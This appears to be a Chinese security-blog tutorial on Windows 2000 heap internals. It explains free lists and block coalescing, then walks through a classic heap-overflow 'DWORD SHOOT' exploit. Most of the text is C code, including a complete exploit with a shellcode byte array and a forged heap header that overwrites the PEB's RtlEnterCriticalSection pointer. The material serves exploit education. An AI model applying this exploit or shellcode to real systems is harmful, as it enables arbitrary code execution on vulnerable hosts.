堆块管理系统所返回的指针一般指向块身的起始位置，在程序中是感觉不到块首
的存在的。在连续进行内存申请时候，如果够细心可能就会发现，返回的内存之
间存在"空隙"，那就是块首

  空闲堆块的大小 = 索引项(ID) x 8(字节)

这里没有讨论堆缓存(heap cache)、低碎片堆(LFH)和虚分配。

实际上，堆区还有一种操作叫做内存紧缩(shrink the compact),由RtlCompactHeap执行，
这个操作的效果与磁盘碎片整理差不多，会对整个堆进行调整，尽量合并可以用的碎片

    小块：SIZE < 1KB
    大块：1KB =< SIZE < 512KB
    巨块：SIZE >= 512KB

#include <windows.h>
int main()
{
    HLOCAL h1,h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    __asm int 3
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    //free block and prevent coaleses
    HeapFree(hp,0,h1); //free to freelist[2]
    HeapFree(hp,0,h3); //free to freelist[2]
    HeapFree(hp,0,h5); //free to freelist[4]
    HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to
    //freelist[8]
    return 0;
}

Visual  C++ 6.0
操作系统 Windows 2000

#include <stdio.h>
#include <windows.h>
void main()
{
    HLOCAL h1,h2,h3,h4;
    HANDLE hp;
    hp = HeapCreate(0,0,0);
    __asm int 3
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h2);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h4);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
    HeapFree(hp,0,h2);
    }

DOWORD SHOOT 只是这里的叫法，其他地方可能会被叫做“arbitrary DWORD reset”。

int remove (ListNode *node)
{
    node -> blink -> flinke = node -> flinke;
    node -> flink -> blinke = node -> blinke;
    return 0;
}

#include <windows.h>
int main()
{
    HLOCAL h1, h2,h3,h4,h5,h6;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    _asm int 3//used to break the process
    //free the odd blocks to prevent coalesing
    HeapFree(hp,0,h1);
    HeapFree(hp,0,h3);
    HeapFree(hp,0,h5); //now freelist[2] got 3 entries
    //will allocate from freelist[2] which means unlink the last entry
    //(h5)
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

Windows 2000 虚拟机
Visual C++6.0 
build版本：release

#include <windows.h>
char shellcode[351] = {
    0x90,0x90,0x90,0x90,0x90,0x90,0x90,...
};
int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    __asm int 3 //used to break process
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

Windows 2000 虚拟机
Visual C++6.0

#include <windows.h>
char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 
    0xB8, 0x20, 0xF0, 0xFD, 0x7F, //MOV EAX,7FFDF020
    0xBB, 0x60, 0x20, 0xF8, 0x77, //MOV EBX,77F82060 ；这个地址需要调试时确定
    0x89, 0x18,					  //MOV [EAX],EBX
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
    0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
    0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
    0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
    0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
    0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
    0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
    0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
    0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
    0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
    0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
    0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
    0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
    0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
    0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
    0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
    0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
    0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
    0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
    0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00,//块首信息
    0x88, 0x06, 0x37, 0x00, //shellcode地址
    0x20, 0xF0, 0xFD, 0x7F //RtlEnterCriticalSection函数指针地址
};
int main(){
    HLOCAL h1=0,h2=0;
    HANDLE hp;
    hp=HeapCreate(0,0x1000,0x10000);
    h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    //__asm int 3
    memcpy(h1,shellcode,0x200);
    h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //DWORD SHOOT
    return 0;
}

PEB 中存放 RtlEnterCriticalSection()函数指针的位置 0x7FFDF020 是固定的，但是，RtlEnterCriticalSection()的地址也就是这个指针的值 0x77F82060 有可能会因为补丁和操作系统而不一样，请在调试时确定

# 往期推荐

1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术

2、SWPUCTF 2021 新生赛-老鼠走迷宫

3、OWASP 实战分析 level 1

4、【远控木马】银狐组织最新木马样本-分析

5、自研Unidbg trace工具实战ollvm反混淆

6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘